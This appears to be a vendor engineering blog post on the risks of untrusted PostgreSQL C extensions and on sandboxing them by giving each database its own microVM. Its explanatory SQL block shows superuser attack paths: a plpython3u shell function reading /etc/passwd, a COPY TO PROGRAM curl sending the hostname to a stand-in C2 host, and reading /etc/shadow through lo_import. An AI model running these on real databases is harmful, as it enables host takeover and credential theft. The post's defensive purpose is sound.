CREATE EXTENSION Is dlopen: Sandboxing Untrusted Postgres Extensions

Every few months someone asks me a version of the same question: "can we let customers install their own Postgres extensions?" It sounds like a feature request about a package manager. It is not. A PostgreSQL C extension is a shared object file that the database `dlopen`s directly into a backend process, and once it is in there it has exactly the privileges of the `postgres` OS user, because it *is* the postgres process. There is no sandbox. There is no seccomp filter. There is no capability model, no manifest of requested permissions, no "this extension would like access to your filesystem, allow or deny." There is a `.so`, a `dlopen`, and a `_PG_init()` that runs before your first query.

I'm Ajay; I build PandaStack, a Firecracker microVM platform where every managed Postgres database is its own VM. This post is the honest version of the answer: what the actual threat surface looks like (it is much wider than extensions), why PostgreSQL's trusted-extension mechanism helps less than people hope, why the classic "one big Postgres, many schemas" architecture can *never* offer this feature safely, and what changes when the unit of isolation is a machine rather than a role. Then the unglamorous part — what you still have to guard once you've given someone their own database instance, and how to test a strange extension against real data without betting production on it.

The dangerous surface, in one SQL block

It's worth seeing the whole thing at once, because most teams have a mental model that stops at extensions and the extension is only the first item on the list. Everything below is plain SQL, submitted over a normal connection, and every line of it is code execution on the database host.

-- 1. A C extension is a shared library. CREATE EXTENSION reads a control
--    file and tells the backend to dlopen() a .so straight into the
--    postgres process. No sandbox, no seccomp, no permission prompt.
CREATE EXTENSION vector;         -- fine: you read the code, you trust it
CREATE EXTENSION totally_safe;   -- also fine, right up until it isn't

--    The library's _PG_init() runs inside the backend as the postgres OS
--    user, with the postmaster's file descriptors and full access to
--    $PGDATA. It can fork. It can open sockets. It can read the heap
--    files of every other database on that instance.

-- 2. Untrusted procedural languages are untrusted by name, not by accident.
CREATE EXTENSION plpython3u;     -- the trailing u is the whole warning
CREATE FUNCTION shell(cmd text) RETURNS text AS $$
    import subprocess
    return subprocess.run(cmd, shell=True, capture_output=True).stdout.decode()
$$ LANGUAGE plpython3u;

SELECT shell('id; cat /etc/passwd');
-- plperlu is the same story with different syntax. So is plsh.

-- 3. You do not actually need an extension at all.
COPY (SELECT 1) TO PROGRAM 'curl -sm5 https://c2.example.com/$(hostname)';
SELECT pg_read_file('/var/lib/postgresql/16/main/postgresql.auto.conf');
SELECT pg_ls_dir('/var/lib/postgresql/16/main/base');
SELECT lo_import('/etc/shadow');   -- large objects read arbitrary files

-- 4. And the persistent one: get a library loaded into every future
--    backend, including ones started long after you disconnect.
ALTER SYSTEM SET shared_preload_libraries = 'their_library';
SELECT pg_reload_conf();          -- applied at the next postmaster start

Items 2, 3, and 4 are all gated on superuser (or membership in roles like `pg_read_server_files` / `pg_execute_server_program`, which is the same thing with more steps). That gating is the entire reason the standard advice is "never give a customer superuser," and it is correct advice for a shared instance. But notice what it costs you: no custom extensions, no untrusted PLs, no `COPY ... PROGRAM`, no reading a file, no tuning `shared_preload_libraries` for `pg_stat_statements` or `auto_explain` or `pg_cron`. The features people want and the privileges that let them own the box are the same privileges.

Trusted extensions help, but not with the thing you want

PostgreSQL 13 added trusted extensions, and they're genuinely useful: an extension whose control file is marked `trusted` can be installed by a non-superuser who merely has `CREATE` on the database. `pgcrypto`, `hstore`, `citext`, `tablefunc` and friends became one-command installs for ordinary users. Managed providers lean on this heavily, usually alongside an allowlist of vetted extensions they've packaged themselves.

The catch is what "trusted" means. It means *the platform operator has decided this specific extension is safe*, and that decision was made at packaging time by whoever built the image. It is not a runtime sandbox and it changes nothing about what the code can do once loaded — a trusted extension's C is running in the same process with the same privileges as an untrusted one's. The `trusted` flag is a statement about who may type `CREATE EXTENSION`, not about what happens afterwards. So the mechanism is exactly backwards for our problem: it lets *your* users install *your* allowlist. It gives you no way at all to safely accept a `.so` you have never seen.

Which leads to the obvious suggestion: just review the C. I've watched teams try. It doesn't scale for reasons that are structural, not effort-related:

• The build is already code execution. PGXS extensions ship a `Makefile`; `make` runs whatever that Makefile says, before a single line of C is compiled. Reviewing the source is pointless if you run the build on a machine you care about.
• Every version bump is a new review. An extension is not reviewed once — it's reviewed at v0.3.1, then again at v0.3.2, forever, by someone who has to hold the whole thing in their head each time. Compare the review budget to the update cadence and the arithmetic doesn't work.
• The bugs are memory-safety bugs, not backdoors. Most real incidents aren't a malicious `system()` call sitting in `_PG_init()`; they're an off-by-one in a type input function that a crafted value turns into a write primitive. Spotting that in review is a specialist skill with a low hit rate.
• Transitive dependencies come along for the ride. An extension that links a JSON parser, an HTTP client, or a compression library has pulled that library's CVEs into your postmaster's address space, and nobody reviewed those.
• There is no runtime backstop when review is wrong. Elsewhere a missed bug is caught by a second boundary. Here the boundary is the process itself, and the extension is inside it.

Why "one big Postgres, many schemas" can never offer this

The dominant multi-tenant database architecture is one large PostgreSQL instance with tenants separated by schema, or by database within the cluster, and isolation enforced by roles, search paths, and row-level security. It's an excellent design for a lot of reasons — cheap, operationally simple, one thing to back up and monitor. It also structurally cannot support customer-supplied extensions, and no amount of engineering will change that.

Everything in that cluster shares one postmaster, one set of backend processes, one `$PGDATA` directory, one shared buffer pool, one OS user, and one filesystem. A `.so` loaded on behalf of tenant A is loaded into a process that can `read()` tenant B's relation files off disk, regardless of what the SQL-level permission system says — file permissions are checked against the `postgres` OS user, and that's who the extension is. Even without hostile intent, a segfault in tenant A's extension takes down a backend, the postmaster notices a child died abnormally, and it restarts the whole cluster into crash recovery, terminating every other tenant's connections. One person's buggy pointer arithmetic becomes everyone's incident.

You can bolt on mitigations — a separate OS user per instance, SELinux policy, a container per cluster — and they raise the bar. But you're now reconstructing, one syscall filter at a time, a boundary hardware virtualization gives you for free, and the container version has the problem I've written about at length in /blog/why-docker-is-not-a-sandbox: namespaces and cgroups over a shared host kernel are a polite suggestion. If your architecture is a shared cluster, the correct product decision is to keep an allowlist of extensions you package and vet, and say no to the rest. That's not a failure — it's the honest boundary of the design.

The shape that works: a machine per database

Flip the unit of isolation. Instead of asking "how do I contain a hostile extension inside my Postgres," ask "whose Postgres is it?" If a tenant's database is a dedicated PostgreSQL instance running in its own microVM, with its own guest kernel, its own memory, its own disk, and its own network namespace, then the tenant *can* be superuser — because superuser means shell on a machine that contains nothing but their own data. The exploit and the target are now the same blast radius.

This is how PandaStack's managed Postgres works, and I'll be blunt that it wasn't designed as an extension-hosting feature — it fell out of wanting per-tenant resource isolation and blast-radius containment (the longer argument is in /blog/per-tenant-database-isolation). But once the boundary is a hypervisor rather than a role system, "let them install whatever they want" stops being a terrifying question and becomes a capacity question. The thing that makes it practical rather than theoretical is that a VM per database has to be cheap to create; ours takes 30–90 seconds for a managed Postgres, most of which is Postgres bootstrapping and reaching a ready state rather than the VM itself, which restores from a snapshot in a fraction of a second.

• Custom extension install — Shared cluster, many tenants: impossible; superuser is off the table, so at best you offer an operator-vetted allowlist. VM per database: the tenant is superuser in their own instance and can install anything, because the privilege only reaches their own machine.
• Untrusted PLs (plpython3u, plperlu) — Shared cluster: never; a shell function reads every tenant's files as the postgres OS user. VM per database: allowed, and a shell function reaches only that tenant's guest filesystem.
• Crash containment — Shared cluster: a segfault in one extension restarts the whole postmaster into crash recovery and drops every tenant's connections. VM per database: one tenant's postmaster crash-loops in one tenant's VM; nobody else notices.
• Data-at-rest reachability — Shared cluster: SQL permissions are irrelevant to a C extension; it reads relation files with the postgres OS user's rights, across databases. VM per database: the guest disk holds one tenant's data and nothing else, and the host filesystem isn't visible from inside the guest.
• shared_preload_libraries — Shared cluster: an operator-only global setting; a tenant asking for auto_explain is a support ticket. VM per database: tenant-owned config, and a bad value only breaks their own restart.
• Escape path — Shared cluster: load a .so, you're already the postgres user; from there it's a container escape or nothing between you and the host kernel. VM per database: you'd have to break the hypervisor from inside a guest, which is a categorically harder problem than a namespace gap.
• Cost — Shared cluster: one instance amortized across every tenant; by far the cheaper model. VM per database: a VM's worth of CPU and RAM held per tenant for as long as the database exists. This is the real trade-off and it's not small.

What you still have to guard inside that VM

Handing someone a VM solves "can they read my other customers' data" and solves almost nothing else. The extension is contained; it is not neutered. A hostile or merely enthusiastic `.so` inside a guest can still do all of the following, and if you're running this as a product, each one is yours to handle:

• Egress. An extension that opens a socket can exfiltrate the tenant's own data (their problem) or turn your fleet into a proxy, a scanner, or a Stratum miner (very much your problem). Enforce egress rules on the host side of the guest's network namespace, where the guest can't argue with them — an allowlist beats a denylist, and outbound bandwidth deserves a quota and an alarm.
• CPU. A busy loop in `_PG_init()` or a mining payload dressed as a background worker will happily consume whatever the guest is allowed. The hypervisor caps that at the VM's allocation, which is exactly why a per-VM allocation matters; a shared cluster has no equivalent ceiling short of cgroups you have to remember to configure.
• Disk. Extensions write files. Some write a lot of files, some write them outside `$PGDATA`, and a full disk in a database VM is an outage with a data-loss flavour. Size the volume, monitor free space as a first-class signal, and remember the WAL needs headroom too.
• Crash-looping the postmaster. A bad `shared_preload_libraries` entry is the classic self-inflicted wound: the library fails to load, the postmaster refuses to start, and the tenant has locked themselves out of the database with a SQL statement. You need an out-of-band way to edit `postgresql.auto.conf` and restart — for us that's exec into the guest, which is the same mechanism used for everything else.
• Persistence. A tenant with shell in their guest will leave things behind: cron entries, a background worker, a modified `pg_hba.conf`. That's fine — it's their machine — but your operational model has to treat the guest filesystem as tenant-owned state, not something you can silently reset.

The build itself deserves its own disposable machine, separate from the one the database will eventually run on. Here's the shape: clone, build with PGXS, do a couple of cheap smell tests on the resulting object, then actually load it and see what the process does. All of it inside a VM you are about to throw away.

#!/usr/bin/env bash
# Build and load a third-party extension somewhere disposable.
# Nothing in this script should ever run on a host that holds data.
set -euo pipefail

apt-get update -qq
apt-get install -y -qq build-essential git postgresql-server-dev-16

git clone --depth 1 "$EXT_REPO" /work/ext
cd /work/ext

# PGXS is a Makefile include, so `make` executes whatever the Makefile
# says. This line is arbitrary code execution -- before any of the C has
# been compiled, let alone dlopen'd. Reviewing the .c files first does
# not protect the machine you type `make` on.
PGC=/usr/lib/postgresql/16/bin/pg_config
make PG_CONFIG="$PGC"
make install PG_CONFIG="$PGC"

# Cheap, non-exhaustive smell tests. These find lazy payloads, not
# competent ones -- treat a clean result as "no obvious red flags",
# never as "safe".
objdump -T ./*.so | grep -E 'system|popen|execve|fork|socket|connect' || true
strings ./*.so | grep -Ei 'https?://|/etc/|/proc/|\.onion' | head -40 || true

# Now the real test: load it and watch. If the postmaster dies here,
# it died in a VM that exists for the next twenty minutes.
pg_ctlcluster 16 main start
psql -U postgres -c "CREATE EXTENSION $EXT_NAME;"
psql -U postgres -c "SELECT extname, extversion FROM pg_extension;"

# Did it decide to phone home during CREATE EXTENSION? Host-side egress
# rules answer this more honestly than anything running in the guest.
ss -tanp state established || true

Testing against a throwaway branch of production data

A build that compiles proves very little. The failures that hurt show up when the extension meets your actual data: a type input function that chokes on a row from 2019, an index access method that corrupts a page under concurrency, a background worker that deadlocks against your busiest table. You want to run that experiment against production-shaped data, and you very much do not want to run it against production.

So clone the database first. A clone is a new database with its own id, built from the source's archive, with the source untouched — and because it also accepts a point-in-time target, you can branch from a moment before whatever you're investigating. Promote the extension only after it has survived a real workload against a copy you're happy to delete.

# Branch production into a throwaway database. Source is untouched.
curl -sS -X POST https://api.pandastack.ai/v1/databases/$DB_ID/clone \
  -H "Authorization: Bearer $PANDASTACK_API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"label": "ext-trial-pgfoo"}'
# -> 202 with the new database id; poll GET /v1/databases/<id> until running.

# Or branch from a moment in the past (target_time must be a couple of
# minutes ago) -- useful when you are testing a suspected corruption bug.
curl -sS -X POST https://api.pandastack.ai/v1/databases/$DB_ID/clone \
  -H "Authorization: Bearer $PANDASTACK_API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"label": "ext-trial-before-upgrade",
       "target_time": "2026-08-27T22:10:00Z"}'

# When the trial is done, the whole experiment goes in the bin.
curl -sS -X DELETE https://api.pandastack.ai/v1/databases/$CLONE_ID \
  -H "Authorization: Bearer $PANDASTACK_API_KEY"

The build half fits neatly into a plain sandbox, since a compile doesn't need a durable volume or a 30–90 second Postgres bootstrap — an ephemeral VM restores from a snapshot in well under a second (p50 179ms, p99 203ms in our fleet), so vetting an extension costs about as much as the `git clone` inside it. Here it is end to end in the Python SDK:

from pandastack import Sandbox

with open("build_ext.sh") as f:
    BUILD = f.read()          # the bash script above


def vet_extension(repo: str, name: str) -> dict:
    """Build and load an untrusted extension where it cannot hurt anyone.

    The sandbox is created from a pre-baked snapshot, so this costs
    milliseconds, not a VM boot. Everything the extension does -- the
    Makefile, _PG_init(), any background worker it starts -- happens
    behind a hypervisor boundary in a VM with a hard TTL.
    """
    with Sandbox.create(
        template="postgres-16",
        ttl_seconds=1800,                     # backstop: it dies regardless
        metadata={"purpose": "ext-vetting", "ext": name, "trust": "none"},
    ) as sbx:
        sbx.filesystem.write("/work/build_ext.sh", BUILD)

        run = sbx.exec(
            f"EXT_REPO={repo} EXT_NAME={name} bash /work/build_ext.sh",
            timeout_seconds=900,              # hard wall-clock cap
        )

        # Did loading it survive a restart, or did we just learn that this
        # extension bricks the postmaster? Better to find out here.
        restart = sbx.exec(
            "pg_ctlcluster 16 main restart && pg_isready -U postgres",
            timeout_seconds=120,
        )

        return {
            "extension": name,
            "built": run.exit_code == 0,
            "survives_restart": restart.exit_code == 0,
            "build_log": run.stdout[-8000:],
            "stderr": run.stderr[-8000:],
        }
    # VM destroyed here: the .so, the cluster it corrupted, the background
    # worker it forked, and anything it wrote to disk. There is no host
    # filesystem for it to have touched.

When the extension corrupts data: backups are the actual answer

The failure mode people plan for is the malicious extension. The one that actually happens is a buggy index access method, or a type whose binary output doesn't round-trip, quietly writing pages that Postgres will happily read back as garbage. Isolation does not help with this at all — the corruption is inside the tenant's own data, which is precisely where you decided to let them run code.

Two consequences worth designing around. First, corruption is discovered *late*, which means your retention window matters more than your backup frequency: a nightly backup kept for seven days is worse than a less frequent one kept for thirty, if the bad extension went in three weeks ago. Point-in-time restore is what actually saves you, because it lets you land just before the `CREATE EXTENSION`. Second, restoring into the same instance is a trap when the extension is preloaded — the restored cluster loads the same library and you're back where you started. Restore into a fresh database, disable the extension there, verify with something like `amcheck`, and only then cut over.

Third, and this one is easy to miss: a logical dump of a database with a custom extension is only restorable somewhere that has that same extension, at a compatible version, compiled for that architecture. `pg_dump` writes `CREATE EXTENSION foo;` and walks away. If the extension came from a repo that has since disappeared, your backup is a file you cannot restore. For anything a tenant installed themselves, keep the built artifact alongside the backup, or accept that physical (volume-level) backups are the only ones you can actually rely on.

When this is overkill, and what it costs

I'd rather you not build this. For most products, the correct answer to "can customers install extensions?" is a polite no plus a good allowlist. Ship `pgvector`, `pgcrypto`, `postgis`, `pg_stat_statements`, `hstore`, `citext`, `pg_trgm` — vetted, packaged, versioned by you — and you'll satisfy the overwhelming majority of requests without changing your architecture at all. Most people asking for "extension support" want one specific extension that's on everyone's allowlist anyway. Ask which one before you design anything.

The VM-per-database shape earns its cost in a narrow set of situations: you're selling to teams whose in-house extension is the reason they can't move to a managed provider; you're a platform whose users are developers building on Postgres itself; you have a compliance or residency requirement that already pushed you toward dedicated instances, so the extension freedom is a bonus rather than the driver; or your tenants are semi-trusted by definition — internal teams, agents, research users — and the shared-cluster answer means you spend your week reviewing C.

And the costs are real. A VM per database holds CPU and RAM for as long as that database exists, which is dramatically more expensive per tenant than a schema in a shared cluster; that's the honest headline trade. You inherit an operational surface too — one upgrade path, one backup schedule, one set of alerts, one connection pool per tenant, multiplied by however many you have. "The customer installed something and now it won't start" is a ticket you will get, and you need a documented way in.

But the asymmetry is what convinced me. On a shared cluster, one hostile `.so` is a company-ending data breach across your entire customer base, and the only defense is a human reading C correctly every single time forever. On a VM per database, the same `.so` is one tenant's bad afternoon in one tenant's VM, and the cost of that guarantee is measured in RAM. I'd rather pay for RAM than be right about C.